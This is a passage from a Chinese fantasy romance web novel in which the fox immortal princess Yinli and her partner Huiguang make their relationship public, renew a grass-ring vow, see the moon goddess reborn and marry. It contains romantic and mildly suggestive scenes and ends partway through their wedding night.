她们还未走到殿中,远远地,便见殿外站了个人。 白耳白尾的青年狐仙,宽袍素衣,一身霜意。 与银梨相像,却是个男子。 银梨方才还与君竹在聊他,蓦地见到本人,不免错愕。 回光一看到银梨,便笑着走过来。 银梨定了定神,问他:“你怎么来了?” 回光道:“你昨天看起来有些累,我正好与一位医仙聊过天,听了些药理,想起我身边有一些安神补气的草茶,便想拿来给你。” 说着,回光果然从袖中拿出一个小锦囊,里面有香草的味道,拿来泡茶应该会味道不错。 银梨在幻境里见过回光的药田,知道他这样说,意思大概就是从镜像里拿的。 回光见过的东西都能在镜像中重现,他的药田里连天月宝灵草都有,时不时就能发现一些惊人的东西。 银梨高兴地道了谢。 回光望着她的眼神,很是温柔。 他又问:“你今日,还有别的事吗?” 银梨回答:“还有一点事要与青霜商量,马上就好。” 回光道:“那我晚上,能不能来见你?” 银梨答:“好。你在房间里等吧,我空了来找你。” 两人商量完,回光凝视着银梨,似乎想要摸摸她的脸或者亲亲她的额头。 但最终,似乎碍于是在外面,他什么都没做,便自行离去了。 银梨将锦囊放到鼻尖嗅嗅。 很好闻的香气。 回光惦念着她,银梨心里是很开心的。 只是,她一转头,才发现她与回光说话的时候,君竹还在旁边,就这样默默地注视着他们两个。 严格来说,她与回光也没有什么太亲密的举动,可看着君竹的眼神,银梨突然心虚起来。 “公主。” 凑巧在这时,君竹开口。 银梨心尖一颤:“怎么了?” “……没事。” 君竹欲言又止,兀自思索着。 等两人进了书房,君竹想来想去还是没憋住,对银梨道:“公主,我有句话,不知当讲不当讲。” “……你讲。” “其实我之前就有点奇怪的感觉了……这位宴清仙君,看公主你的眼神,实在不同寻常。” 君竹像是琢磨这个问题琢磨了很久。 她问:“公主,你说他是不是……喜欢你啊?” 第60章 这个问题, 银梨是当真不知如何回答。 她试着含糊道:“是吗,也未必见得吧。” “可他这样特意来找公主,已经不是第一回 了!” 君竹据理力争。 她一本正经地掰着手指, 将可疑之处一一历数—— “前些天公主与少君他们在书房里议事, 这位宴清仙君就常常在清辉殿外面等, 我撞见过他好几次,上去与他说话,他就问公主何时休息。” “还有,他到月宫这几日, 一直变着法给公主送东西, 一会儿是点心, 一会儿是花草,基本都是公主喜欢的东西,任谁一看都知他一定在公主的喜好上下了功夫。” “不仅如此, 公主你发现没有,那宴清仙君和你说话的语气, 与和旁人截然不同, 非但比正常要温声细语,还一直用那种关切的眼神看你!说到这个,他看公主的眼神也很有问题,那眼神简直……” 君竹跟竹筒倒豆子似的, 一口气倒了一长串出来, 可见是在心里憋久了。 君竹是银梨的随行弟子, 跟在银梨身边的时间最长, 银梨周围发生的事,她一清二楚。君竹能一口气数出这么多,足见回光前来之勤。 银梨越听, 越不好意思。 银梨本以为自己和回光在外人面前表现得还算疏远克制,没想到落在旁人眼中这么明显。 银梨连忙阻止:“好了好了,我知道了,不用再往下说了。” 君竹好奇地瞥着银梨。 银梨被她盯得奇怪:“……怎么了?” 君竹问:“公主,你与宴清仙君在玉镜,是有过什么事吗?” “怎、怎么这么问?” 君竹说:“也没什么,只是觉得,宴清仙君与公主相识,又彼此信任,总归有些契机吧。” 君竹这么问或许没有别的意思,但银梨听到她的话,脑海中却不自觉地浮现出一些幻境中的场景。 思绪微微一晃。 银梨微微红了脸,耳朵无意识地向后背去。 她微笑了一下,摇摇头,道:“也没什么特别的,其实不必多想。” 银梨本意只是解释一下,谁知她说完一抬头,发现君竹反而怔怔地看着她。 银梨不解:“怎么了?” “公主。” 君竹出神地说。 “你是不是其实也……” 银梨:“?” 君竹见银梨满脸疑惑,反而露出了些欣慰的表情。 她有些感慨地道:“以前,好像从没见过公主这样的神情……我跟在公主身边的时间也不短了,应该称得上熟悉公主。 “之前,公主为了解开鬼信物,也曾考虑亲事。但那时,公主即使谈婚论嫁,面上也总有一丝忧虑……像现在这样舒展自在的样子,很是少见。” 君竹看上去是很为银梨高兴的。 她道:“以前,我其实是有些担心的……公主可能会觉得我杞人忧天,不过,在我看来,公主揽在身上的责任太大了,大到与责任相比,公主宁愿完全忽视自己的个人幸福。 “我知道公主所作所为皆是深思熟虑,但有时,也怕公主因此不幸。 “像公主这样的人,我希望一切皆能有好的回报。 “……以我的眼光,这段时间看下来,宴清仙君应该是个友善可靠的人。若是公主与他相处能够轻松自在的话,或许让他有个机会,也不是坏事。” 君竹坚定地道:“毕竟,我一向认为,公主自己觉得开心,才是重中之重。” 银梨:“?” 君竹的责任心一向重,银梨本以为应该是自己担心她,没想到,竟连君竹都在这样担心自己。 她与回光,会让君竹生出这样的感叹吗? 银梨不知所措,只好应道:“好。” * 银梨这天忙完,已是黄昏。 她依言去赴回光的约。 两人说好,是让回光在他屋里等,银梨会去找他。 银梨敲了敲门。 “进来。” 回光的声音道。 银梨推门进去,但视野之内,静悄悄的,并没有人。 银梨心生疑惑,只要出言寻找回光,刚往屋内迈出一步,忽然,就被人从背后抱住了。 天旋地转。 清凉的气息,夜息花的香味,迎面扑来。 等回过神,银梨已被人一把抱起,径自放到桌上。 那人身体压了下来,吻住了她。 十分冰凉的身体,但动作热烈而急切。 “唔。” 银梨猝不及防。 她好不容易才在慌乱中攀住对方的身子,仓促应对着杂乱的亲吻。 回光的呼吸带着明显的冲动,像是克制和压抑过后,迫不及待地寻求释放和代偿。 几乎像要把她吃掉的吻法。 缠绵而留恋的气息不断逡巡在银梨的脖颈、锁骨、唇瓣、耳畔…… 贪婪,不知餍足。 银梨知道是怎么回事,她最近太忙了,和回光在外面又要保持恰到好处的距离,回光难免受到了冷落。 他们只有很有限的时间能偶尔在房间里亲热。 有时候,银梨也会有点想他。 但银梨比回光更习惯遏抑自己,维持外在的严谨稳重。 在只有两个人的时候,银梨才能纵容他的亲近。 回光不断啄着银梨,像是在品味她身上的气息。 过了很久,他才像暂时有所满足。 回光不甘地在银梨颈侧蹭着,声音夹杂着些欲.求不满的抱怨,问:“我们什么时候才能向所有人公开呢?在这里,大家都不知道我们的关系。” 银梨向他解释:“还太快了,我们才从幻境中出来没多久,要是一下子就出双入对,会把月宫的人都吓死的。凡事都要循序渐进,总要给其他人一些时间适应吧?” 回光道:“有时候,还有人会议论你与别人相配。” 银梨一顿,猜到大概是什么内容,说:“那是其他人乱猜的。” 回光声音低哑:“明明我们拜过堂,是夫妻。” 银梨脸上微微一红,说:“可在外面不是,别人又不知道。” 幻境中的事,在外面的人看来,作不得真。 事实上,在现实中,银梨公开办的一桩婚事,是和青霜。 当然,由于最后银梨和鬼君打了起来,闹得很大,世人都已知晓这场婚礼是银梨和青霜为了抓鬼君设的套,并不是真的成婚。 但是,当时这桩婚事有云舒神君亲笔认定他们是天赐良缘的预言在前,一切都办得很正式。 而且,银月城乃至月宫中,是有很多人真情实感地认为银梨和青霜两人般配,这种想法哪怕婚事确定是假的,也不会随之消失。 不仅如此,由于云舒神君先知之能的名声太盛。 众人皆知他拥有神眼,却未必知道他有时候会为了预言刻意做出引导的言行。 正因如此,至今还有相当一部分人确信银梨和青霜是天生一对,认为他们的婚礼不过是被打断了,两人早晚还是会有情人终成眷属,不过是再推迟一阵子罢了。 这种事情很难解释,银梨尽可能说明过,但要大范围地改变众人的想法,只能通过时间的流逝来应证。 银梨自己都听过其他人的议论,回光这阵子住在月宫中,估计肯定也听了不少银梨与青霜般配一类的言论,以回光的立场来说,多半是要难受的。 回光垂下眼眸,又在银梨的下颔上落了几个吻。 他说:“其实我们在现实中,也是一样拜过堂的。” 银梨一开始还没反应过来,后来一想,才明白回光是在说银梨与青霜公开大婚那次,青霜其实没出场,真正与银梨完成了拜堂仪式的还是他。 银梨哭笑不得:“但你当时是变成了青霜的样子,不是吗。再说,那场婚礼本身也不是真的。” 回光神情有些暗淡。 他嘟嘟囔囔:“那我们真正的婚礼,还要等多久呢?” 银梨试图安慰他:“快了快了,不会很久的。” 回光说:“当初换作是青霜,所有人都轻而易举地接受了,从准备到举行婚礼,不过一个月,月宫中的每个人都说,你们珠联璧合,生来一对。” 银梨闻到了醋海翻腾的味道。 银梨扯扯回光的袖子,道:“你知道的,当时是权宜之计。” 回光低落:“可你最近几天,也是一直与他在一起。” 银梨说:“那是在商议正事,不是只有我们两个,师姐他们也在。 “而且,青霜毕竟是我哥哥呀,我们不可能事事避开吧?” “‘哥哥’……” 回光垂眸,轻念着这个词。 “他能被你这样称呼……真好。无论发生什么事,总归与旁人不同。” 银梨抓到症结在哪里了。 “那我也可以这样喊你。” 银梨试着拉住回光的袖子,轻轻晃他的手,唤道:“哥哥。” 很奇怪,银梨这样喊青霜的时候,一向没什么特别的感觉,大概是习惯了。 但是,同样的称呼用来喊回光,她忽然便有点难为情。 银梨耳尖有些烫了。 但回光只是一顿,像没反应过来。 银梨没看出这样是哄好没有,只得勾住他的手指,继续摇他:“哥哥,哥,哥哥。” ……还不满意吗? 银梨有点不知如何是好了。 想了半天,她犹豫地说:“有一个称呼,我从来没有称呼过别人。” 话完,不等回光反应,银梨环住他的脖子,凑到他耳边,有些羞涩地喊道:“夫君。”《 》 第61章【VIP】 第61章 银梨喊第一次的时候, 回光后背一紧,仿佛是僵住了。 银梨见他不动,也没说话, 以为他是没听清, 又凑过去喊了一次:“夫君。” ……怎么还没反应? 连这个称呼都不行吗? 银梨实在是没招了, 只好挂在他脖子上,晃着他不停地喊:“夫君夫君夫君夫……唔。” 忽然间,视野一晃。 等回过神来,已经被吻住了。 回光捧住银梨的脸, 克制又讨好般地轻咬她的嘴唇, 新涌上的感情混杂着片刻前亲昵未散的余韵, 缱绻间几乎要化成一汪春水。 十分动情的吻。 让银梨觉得自己慢慢融化在其中。 不知道是不是因为他们本是相伴同生的玉灵,银梨渐渐也发觉,当回光感到安定的时候, 她也会觉得安心。 他们仿佛是两株藤蔓,越是生长, 便越是缠绕在一起。 银梨对此毫无排斥, 她与回光越是靠近,便越知彼此契合,只要贴在一起,便能感到喜悦。 过了一会儿, 回光捧着她的脸道:“那我也要用对应的方式称呼你。” 银梨被亲得迷迷糊糊 , 赧然地答应:“好。” 回光唤她:“娘子。” 面颊滚烫, 耳边嗡嗡的。 银梨有些不知道做出什么表情还好, 害羞,可胸口又被奇异的满足感填饱。 她说:“我在。” “娘子。” 回光又唤了一次。 “我在。” “娘子。” 他的声音越唤越是贴近,越唤越是低哑。 最后, 这声音萦绕在耳畔,贴在她的耳垂上,伴随着难以遮掩的情意。 回光问:“这世上能这样唤你的,是不是也只有我一人?” 银梨毫不犹豫地回答:“是。” 不必看他的脸,银梨也从他触手可及的胸口,听到了心脏满足的跃动声。 他用额头顶银梨的额头,贴过来:“……好高兴。” 银梨也好高兴。 作为回应,她悠悠地贴了回去。 春来繁花,夏夜流萤。 世间万景,不胜眼前人。 * 银梨与回光的关系,最终还是藏不住。 只是其中经过,与银梨的计划不一样—— 金琼师姐带着催开的复生莲回到银月城后,银梨立即将姐姐的头发,小心地放入复生莲花蕊之中。 复生莲缓慢地闭合了。 银梨捧着复生莲,慎重地将其早已备好的莲池之中。 接下来,只消再等五百日,便可见到月神重归于世。 为了庆贺月神回归在望,亦是为尚在莲花中的神女祈福,银月城中,放灯三日。 银梨与青霜、金琼师姐一同主持、观赏了前两夜的放灯。 最后一夜,待要事都办好后,银梨偷偷溜走了。 她跟回光一起跑到银月城的角落里,装作凡人,放了两盏写有彼此名字的孔明灯。 回光不知道从哪儿又照了个手艺人的脑子,学了一套编草莽的手法,用路边的空心草给银梨编了一只草蚂蚱,提溜在手里玩。 结果两人回去时,在月宫门口,撞见了一群游城方归的月宫弟子。 双方撞见的时候,银梨左手拿着那只草编的蚂蚱,右手被牵在回光手里,两人还是十指相扣的牵法,绝对抵赖不掉。 打上面照的时候,双方什么都没说,月宫弟子们也只是老老实实地对银梨行礼打招呼。 但一夜过去,消息便传遍了月宫上下。 大部分人都是大受震撼。 其中以温笥为代表的、坚信云舒神君预言绝非无稽之言、银梨与青霜必是天缘所系的一派人,受冲击最大,几乎都难以相信这个消息。 不过,也有一些人,似乎早从回光或者银梨本人的态度中,觉察了一些端倪。 像是君竹。 她虽然也很意外这么快,不过,从之前的种种蛛丝马迹中,她也自己理出了一番逻辑—— “我觉得,宴清仙君应该是在幻境中,就对公主心生好感了。” 但凡有人问起,君竹就如此分析—— “那位宴清仙君修为出众,在世间却少有人听闻其名号,恐怕被困在鬼君的玉镜中,已经有相当一段年月了。” “我猜想,在公主进入幻境以前,宴清仙君在其中苦苦挣扎,全无破局之法,可能浑浑噩噩,记忆都已浑沌。” “万幸,公主阴差阳错进入幻境,找到了在其中沉沦的宴清仙君。” 君竹从两人的相处中,推断出了这样一段经过—— “二人在与世隔绝的幻境中,互相帮助,互相鼓励,只有彼此能够依靠。” “公主极力在鬼君所创造的异境中保持了一分清醒,凭着残存的神智与鬼君周旋。” “在这个时候,宴清仙君是她唯一能信任的盟友,不断为公主提供支持和助力。” “两人协作配合,不但保全了彼此,还机缘巧合发现鬼君的幻境中可以取到月神的头发。” “最终,在我们找机会撕开了幻境的一线裂缝后,公主及时用匕首杀死了鬼君。” “而公主与宴清仙君,在这个过程中,协作默契,配合无间,互相萌生了情愫。” “他们都是狐仙,甚至气质外貌都有相似之处,可以想象两人合作时何等协调,宛如异体同心。” “于是,离开幻境后,宴清仙君便屡次试探公主,表达了对公主的好感,最终公主也被他打动,两人有情人终成眷属。” 君竹一通抽丝剥茧、条分缕析,众人都觉得很有道理。 君竹是银梨身边最信任的人,且她素日为人严谨正直,极少妄言,从她口中说出来的话很有可信度,不像没有依据的。 于是,没过多久,这便成了月宫中的主流看法,为大多数人所接纳。 银梨得知后哭笑不得。 没想到不用她想理由,大家自己都给她把前因后果补充好了。 虽然和想象中不太一样……不过,应该也是好事吧? …… 一个有月亮的夜晚,银梨拉回光去了梨花林。 两人的关系公之于众后,银梨便不必再与回光遮遮掩掩了。 尽管公开的过程和银梨计划中不一样,速度也远比想象中快,但终究是了却一桩心事,两人同来同往,再无阻碍。 银梨拉着回光在那片湖泊旁坐下。 夜色中,清湖倒映着明月,水天一色,难辨天地。 两人面对面坐着。 银梨别扭了一下,还是鼓起劲,说:“其实,我有东西想给你。” “什么?” 银梨说:“你等我一下。” 说着,她就地取材,在地上取了几段蔓草,拿在手上,认真编了起来。 银梨之前也不是没有编过这个东西,不过,她这一回编,显然比回光记忆中熟练多了。 纤细的蔓草被灵巧得绕在手指上,轻快打上了结。 不一会儿,银梨编好一个规规整整的草环,又在上面缀了许多梨花。 回光怔怔地看着她。 银梨被回光看得不好意思,解释:“我们在幻境成婚的时候,青霜他们不是打断了嘛,所以这个步骤一直没有做完。 “那个草环,你编了一个给我,但我还没有给你编呢,所以,我一直想找个机会将它补全。” 回光半晌没回过神。 他看着银梨手中的草环,道:“……你编的,好像比之前好多了。” 银梨面上一红,抖了抖耳朵,说:“我练过了嘛。” 之所以现在才来补这个仪式,就是因为她偷偷在练。 其实这最初只是孩童时期编的瞎话,要不是回光让她想起来,银梨大概早忘干净了。 不过,从此前两次幻境的情况来看,回光应当相当重视这件事,将它当作婚礼最重要的一部分来看待。 既然如此,银梨便也觉得不该草率跳过,即使是幻境里的婚礼,也该将其补全。 银梨知道,就算她像之前那样,编一个没那么好看的草环给回光,回光大概也是不介意的。 但是,她记得自己随口编的话里,有一句是草环上缀的花越多,两人就会越长久美满。 ……当年只是乱说而已,可真用到两人的婚事里了,银梨忽然自己也希望,这其中蕴含的寓意,能更好一些。 银梨将草环拿在手中,对回光道:“……把手腕给我吧,我给你戴上。” 回光还有些发懵。 缓缓地,他伸出手腕。 很简单的动作,竟有了庄重的氛围。 银梨一边将编得十分精细的草环绕到回光手腕上,一边轻轻念道:“天月为媒,结草为誓。与子同心,永生不负。” 坚韧的蔓草环,一圈绕着一圈。 回光在幻境中给她做的那个草环,银梨并没有取下来,此时仍在手上,随着她绕草环的动作,微微摇晃。 不久,两人的手腕上,戴上了成对的草环。 回光扣住银梨的手,在她要收回去,留住了她。 回光将银梨的手拉到唇边,轻吻她的手背,垂眸许诺:“天月为媒,结草为誓。与子同心,永生不负。” 说得郑重至极,好像将每个字都刻在了心口。 银梨笑道:“如此,礼成,仪式补完了。” 回光望着她,道:“那你以后,就要留在我身边,走不了了。” 银梨说:“你也一样。我们是共生相伴的玉灵——鬼君的妻子逃不掉,你以为月宫公主的丈夫,就能跑了吗?”—— 作者有话说:下一章应该是完结章啦=3=《 》 完结&番外 第62章 两年后。 一 个微风悠然的晴夜, 空气中萦绕着薄薄的凉意,夹杂些紧张的氛围。 银梨、回光、青霜,还有金琼仙子等人, 都严肃地守在月宫莲池之外, 静候着那至关重要的一刻。 莲池中的复生莲, 已经长到了半人高的大小,花苞鼓鼓囊囊,足以囊括一人。 根据云舒神君的卜算,那个万众期待的大日子, 就在今夜子时。 雾蒙蒙的圆月, 升到正当空。 就在这一霎时, 忽然间,所有人都感到一阵香风袭来,月宫中的月梨花飘散开来, 漫天飞花。 月满花飞,恰逢吉时, 仿佛世间万物都在庆贺月神的再次降生。 众人瞩目下, 莲花的花瓣悠悠绽开。 在莲心之上,蜷睡着一个女子的身影。 是神女。 她动了动睫毛,悠悠地睁开眼。 银梨激动得不能自已,唤道:“姐姐!” 盼了那么久, 终于等到这一刻。 银梨迫不及待地奔过去, 不等神女坐起, 她已经化成一个小白毛球, 一头撞进神女怀中,把自己紧紧蜷缩成一团,贴着神女的肚子, 不动了。 以银梨平时的形象来说,此举实在失态,但众所周知这一瞬对她来说何等重要,这样的真情流露,没有人会责怪她。 月婵诞生时,是上古神祇初生之态。 她一身华衣,衣带轻绡如云气飘浮,天生成人之貌,自携仙仪,不容冒犯。 除了没有怀抱太阴星,与上古诞生之时无异。 月婵抱着银梨,在莲花中坐起来。 “……银梨。” 她摸着银梨的耳后毛发,看上去对现状还有迷茫。 她环视一圈,看向守在莲花边振奋的人群,不禁言道:“……怎么这么多人?” 记忆似乎渐渐回到了月婵的脑海中。 她看看自己的手,还有身下的复生莲,大概知晓了状况:“……看来我这一觉,睡了很久啊。” 这时,青霜也化作灵鹿,缓步走到月婵身边,低下头蹭她。 月婵分出一手,也将他抱入怀中,好让青霜能将额头轻轻抵在她颈间。 三人久违地依偎在一起。 神女月婵怀抱白狐、身伴灵鹿的景象,正如凡间常见的神女像。 须臾,月婵抬起头来,将目光落在远处、一个与人群稍有距离的人影身上。 为了避免月神一苏醒就被黑压压的人群围住,被允许在莲池周围守候的人其实不多,都是银梨、青霜这般,月神比较亲近的人。 而在一群熟面孔中,唯有一人看着面生。 那是个青年男子。 他与银梨一般的白耳九尾,看着像个狐仙,样貌气质也与银梨颇为相似,若两人并肩站在一起,必定像孪生兄妹。 青年广袖长袍,身形颀长,有些霜中剑般凛然清逸的气质,只是有些疏离。 他没有与大多数人站在一处,反而隔得稍远,游离于人群之外,看上去与其他人没有那么亲密。 月婵看到这个青年,愣了愣:“你……” 银梨正要给她介绍,月婵却是一笑,像是明白了什么。 “你是……回光吧?” 月婵说出了他最初的真名。 她对回光招了招手,道:“你也过来,让我看看。” 回光小有迟疑,但还是走到神女面前。 与有了灵智就跟随在神女身边的银梨、青霜不同,回光对这个女子的记忆已经很久远,也不曾在她身边长大,与所谓的“姐姐”,没有那么亲近。 他隔着一段距离,就停下了步子。 月婵对此并不介意,事实上,重见回光,她心中亦有诸多慨叹。 她说:“对不起,这些年来,你肯定受了不少苦。” 回光从未真正与这位本应是他姐姐的神女相处过,尽管他也和银梨、青霜一样,受过太阴星育化,因此天然对这位神女感到亲切,可此时此刻,却不知该怎么答她的话。 神女并未强求。 她笑着道:“看你的样子,应该是顺利与银梨重逢了。 “你们本是一块白玉里的两个玉灵,让你们被迫分离,我一直深感愧疚。 “如今,看到你们能够重聚,于我,也算了却一桩心事。” 顿了顿。 月婵说:“这百年来,究竟发生了什么事,待之后,再细细对我说吧。” 月婵从花蕊中站起来,提步迈出莲花。 她左手抱着银梨,右手向前一伸,本安置在清辉阁中的太阴星,就自然飞出,落入她掌中。 一百年来日渐黯淡的太阴星,此时光辉迸发而出,清澈夺目,全然恢复了昔日风采,如此明亮,世上任何明珠都无法与之相比。 月婵托着太阴星,轻言:“现在,只怕有许多烂摊子要收拾呢。” * 这一天,天象归位,潮汐剧变。 人世间的皎月,重新高悬于空。 过往只能在灵地范围内见到的、幽暗的天月,如今一扫尘埃,悬在众生头顶,以最为皎洁的姿态,普照天下。 永夜被终结,肆虐凡尘已久的邪气,在月光照耀下,像受惊的虫蚁般仓皇退散。 鬼怪邪祟失去力量,大部分当场溃散,即使是少量残存些许力量的厉鬼,也唯有四处逃窜,潜藏回阴暗的角落之中,不敢再造次。 屈居于各大灵城之内的生灵们,终于在百年之后,能在没有屏障保护的情况下,再度走出城门,眺望天地。 银月城中正在欢庆。 银梨看到凡间屏障解除、明月升起,松了口气。 但放松之余,银梨也有放心不下的事。 她拉着回光躲回院子里,担心地问:“你会不会……有舒服的地方?” 回光毕竟是鬼君,他与银梨、青霜不同,他的力量中,有一部分来自长夜。 银梨很担心,明月升空,会对他造成影响。 不过,回光看上去毫无异样,他翻了翻自己的手,回答:“不会。” 一切正常。 回光试着调动了一□□内的气息,无论是灵气还是邪气,似乎都和以前一样存在于他体内,他可以自由使用。 灵气和邪气,两者似乎都融汇在他的魂灵中,成了他本身的一部分。 正像他以前可以自由出入在月宫和永夜中一样,现在的事态变化,也对他全无影响。 回光迟疑一瞬,道:“看来,我会一直是这样的了。” 银梨本来猜测,明月升起后,说不定回光身上的邪气也会跟着消散。 但以他目前的状态来看,预期中的变化并未发生,说不定就算永夜消亡,回光都仍然算是鬼君。 银梨稀奇地拉着回光的手看来看去。 回光作为个体实在是太特殊了,这样的情况,简直前所未见。 不过…… 银梨说:“世间生灵,哪怕是仙神,也总有自己的特性吧。像我是白狐,青霜是青鹿,姐姐则生来怀抱太阴星,都是与其他人不同的特质。 “你的成长经过本就与众不同,会有不一样的地方,也在所难免。” 如此,就算有了一个解释。 银梨踮起脚,缩起耳朵,在回光下巴上亲了一下,说:“没事就好。” 这样一来,也算彻底安心了。 …… 银梨想起,姐姐曾对她说过,命中注定的缘分,应像牛筋草一样坚韧。 因为命运错综复杂、变数不断,若没有足够的毅力,纵然相遇时万般投契,一旦遭遇生命风浪的反复拍打,终究难以走到最后。 唯有百折不挠的坚定,才能经得住变幻莫测的磋磨。 即使面临重重阻碍,坚韧不移,如此,才能不断跨越命数提出的一个又一个难题,长久相伴,永不分离。 银梨以前不懂,到如今,她才有些感受到其中的意味。 这世上有一个人,哪怕没有任何命运的眷顾,仍然一次又一次地,走 回她面前。 ——命数再深,若情浅,风催则断;相反,千难万险、终不可破。 只是,缘分的线,终究要是双向的,才能系得起来。 银梨已经想好,她要系上另外一头。 事态平静以后,有一天,银梨高高兴兴地将回光拉到城外,欣赏她最为喜爱的、纯粹的月色。 回光遥望许久后,说:“……有种很怀念的感觉。” 久远的曾经,他好像也曾沐浴过这种月色。 回光垂眸,怅然道:“要是当初,我也能与你一同长大就好了。” 银梨一怔,问:“怎么了?” “我其实有些不安。” 回光回答。 “我没怎么在这样的世间生活过,不曾经历过你所熟知的一切,你与青霜称作姐姐的月神,对我来说,也有点不清楚该如何与她相处。” “我与你之间,永远有两百年岁月的空缺。” “今后,你会回到过去的生活中,但你说的很多事,我其实,不太明白。” 银梨习惯的过往中,而对回光来说,那是不曾经历过的空白。 回光似乎有些忧虑。 银梨想了想,牵住他的手。 “已经缺了的光阴,没有办法再补上了。” 银梨道。 “但是,从今往后的千年万年,我们都会一起度过,你想知道的那些事,我都可以慢慢告诉你。” 经历过那么长的岁月以后,他们一定会是彼此最熟悉、最亲密的人。 两人手牵手站在一起,宛如成双作对的人偶般相称。 回光听到她的话,有些失神。 他反捉银梨的手,贴在脸上,轻轻地问:“不反悔?” 银梨应道:“不反悔。” 回光笑着道:“那我大概,会一直缠着你的。” “那就缠着我。” 银梨很有底气地回答。 “但你小心,我其实也会缠回去的。” 你绕着我,我绕着你。 这样,两个人就会永远紧紧地缠在一起。 今生今世,再不分离- 完—— 作者有话说:正文完结! 其实不算完全正文完结了,明天还有一章叫“尾声·后”,算是结局之后的结局吧。 从情节情绪来说,我觉得结局在这里比较好,但还有一点内容从结构上来说也应该算在正文里,所以采用了这种结局之后再结局一次的形式。=3= 感谢大家的阅读,明天见! 第63章 银梨与回光正式的婚礼, 是在月神重生半年之后。 其实他们前前后后、真真假假,已经成过三次亲了,银梨对这个事情已经可有可无。 但回光在日子敲定以后, 表现得格外慎重。 许多月宫弟子都说, 曾见回光抽空在藏书阁秉烛而读, 看上去极为专注。 银梨听闻,扶额自闭,在书房中头痛不已。 君竹见她这般,深感奇怪, 问道:“仙君好学不好吗?在筹备婚礼之余, 还不忘读书, 仙君他真是相当勤奋啊!公主您怎么这个表情?” 银梨:“……” 一言难尽。 回光……他要是学的是正经东西,那真是万幸了。 * 婚期悄然而至。 婚礼还是在月宫举行,因是月神复活后的第一桩喜事, 办得十分隆重。 这一日,红绸满宫, 彩灯十里, 星月共景,九霄同贺。 银梨这回的大婚之服,亦拿出了正经神女的规格,金冠步摇, 流苏遮面, 霓裳九重, 霞帔绕身, 刺绣用了成对的天狐奔月,真正的九尾环绕于身,与如此盛装和谐相称。 回光的男子婚服与之对应, 绛朱为底,云纹暗绣,衬得直身窄腰,步履凛然。 二人相貌气质本就相似,身着相配的盛装,执手并肩,看着很是登对。 婚礼由神女月婵亲自主持。 世人敬慕神女,但凡婚礼都有“天月为证,神女赐福”的环节,只是实际大多由德高望重的女性来扮演神女,真正引来神女月婵亲自赐福的新人,恐怕只有此对。 月婵很是高兴。 大概是死而复生的这段日子有点憋闷,月婵觉得自己身子骨僵硬,迫切想找点事情,这世上,没有什么比主持心爱的妹妹弟弟的大婚,更让她精神振奋的了。 银梨和回光的婚礼盛大,其实有一大半是月婵的主意,算是满足一下她盛装打扮银梨、好好热闹一下的愿望。 仪式上,月婵亲手取了灵水,涂抹在二人眉心。 “……愿汝二人,从此心归同处、此生相携,今后再无忧难,诸事顺宜。” 月婵笑着说完了祝词。 之后,便该进入新居了。 如今凡间事务还多,银梨和回光两人暂时不打算去仙神之境,便在月宫旁建了独立的仙殿,称作小月宫,算作在人间的新居所。 银梨和回光经历过这么多次婚礼,对流程可谓驾轻就熟。 银梨很顺利地和回光一起回到了小月宫。 只是,到了只有两个人的地方,银梨却忽然紧张起来。 拿合卺酒的杯子时,她与回光去拿同一个酒盏,指尖一碰,她蓦地有些慌乱,想要收手,却仓促将杯子摔了,幸亏回光眼疾手快,一把接住。 回光微笑看她,温柔道:“别慌,慢慢来。” 银梨一触到回光的目光,心跳便漏了拍。 她慌忙地转开视线,又心虚自己表现太过刻意。 合卺酒还是与幻境中一样,看着像酒,其实是用两人都喜欢的甜水代了。 草环的环节依旧还有,只是改为将新的蔓草缠在两人手腕已有的草环上,扎得更结实些。 大多数流程,都与他们之前做过的一样。 但要说这次会有什么不一样的话,那就是…… 银梨的心脏突突直跳。 红烛微微摇曳。 等一切仪式都完成,回光靠近银梨,在她唇上轻轻啄了一下。 呼吸咫尺之间,银梨看得清他的发丝、鼻梁、嘴唇、眼底埋藏的清光…… 回光动情地道:“好高兴,我一直想这样单独和你在一起。” “……” 银梨听他这样说,心里有些触动,脸上却不知该摆出什么表情来。 回光握着她的手,很认真地说:“今夜,我一定会,尽我所能。” 银梨:“?!” 话完,不等银梨反应,他又凑过来啄了一下,然后拉着银梨的手,让她环上自己的脖子。 回光将银梨打横抱起,放到床上。 床帐被顺手扯下,红帐垂落。 天翻地覆。 银梨头躺在枕头上,望见回光撑在自己上方,安静地注视自己。 从回光的眼中,银梨看到自己的倒影,还有些与平时不同的暗流。 接着,他俯身,吻了下来。 回光比想象中更直接,更快切入正题。 银梨的脑子一团乱麻。 回光的吻,由浅,到深。 回光的学习能力很强,不仅仅因为他有镜像映照人心这种近乎作弊的能力,似乎他本身的性格有一部分就是如此。 他不懂就会去学,有求知欲,尤其是在与银梨有关的事上,他的探究欲极为旺盛,乐此不疲。 有时候,银梨甚至觉得他太积极、太主动了。 此刻亦是如此。 短短两年,他将自己的亲吻技术磨练得炉火纯青,哪怕是从一开始就陪他锻炼的银梨,也日益招架不过来。 他好像很喜欢亲银梨,情到深处,夹杂着些许情人间的戏弄。 有时候是玩闹般的亲昵,有时候是含有更多意味的深吻。 他很熟悉银梨的情绪,又有相当充足的耐心,今夜更是带上了明确的目的性,用深情而细腻的吻,试图让她沾染上更多情欲。 银梨的头脑越来越糊。 回光缓慢地抚慰她,想要融化她的防备。 朦胧的视野中,银梨看到 回光的婚服被她揪出了褶皱,领口松垮地垂下来,若隐若现地露出线条清晰的锁骨和轮廓分明的胸膛。 没等银梨反应,下一瞬,回光便毫不犹豫地脱掉了婚服。 回光的身材几乎是按照银梨的喜好化的,当然十分漂亮。 回光抓着银梨的手,放到自己身上。 结实白皙的胸膛,排列紧实的腹部肌肉。 他的小腹好像绷紧了些。 银梨脑中一片空白,只觉得自己的动作也有点顺从本能行事,偏偏回光全然纵容她,一点都不加以约束。 回光又覆上来,吻她的嘴唇、脖颈、锁骨…… 银梨的思绪飘散开来。 回光一顿,呼吸乱了起来,托起她的腰…… “等、等等……” 银梨捂着滚烫的脸,仓皇叫停。 “别、别读了……” 即使是在这种无措的状态下,银梨多少还是发现了不对劲。 “为什么?” 回光呼吸混乱,嗓音夹着与平时不同的情绪。 “你不喜欢吗?” 银梨不知该如何回答。 她觉察到了,回光一定是读了她的想法,在拼命顺着她的感受来讨好她。 银梨面颊涨红:“这样,太、太……” “可是,我想让你高兴。” 回光说。 “要是不知道你的想法,我怕我做得不够好。” “但、但……” 脑子好像越来越晕了,思维不由自主变得迟缓。 银梨词不达意:“其实你没有必要,像这样……” 回光在永夜中才真正成长成形,他的认知中有极似鬼怪的一部分。 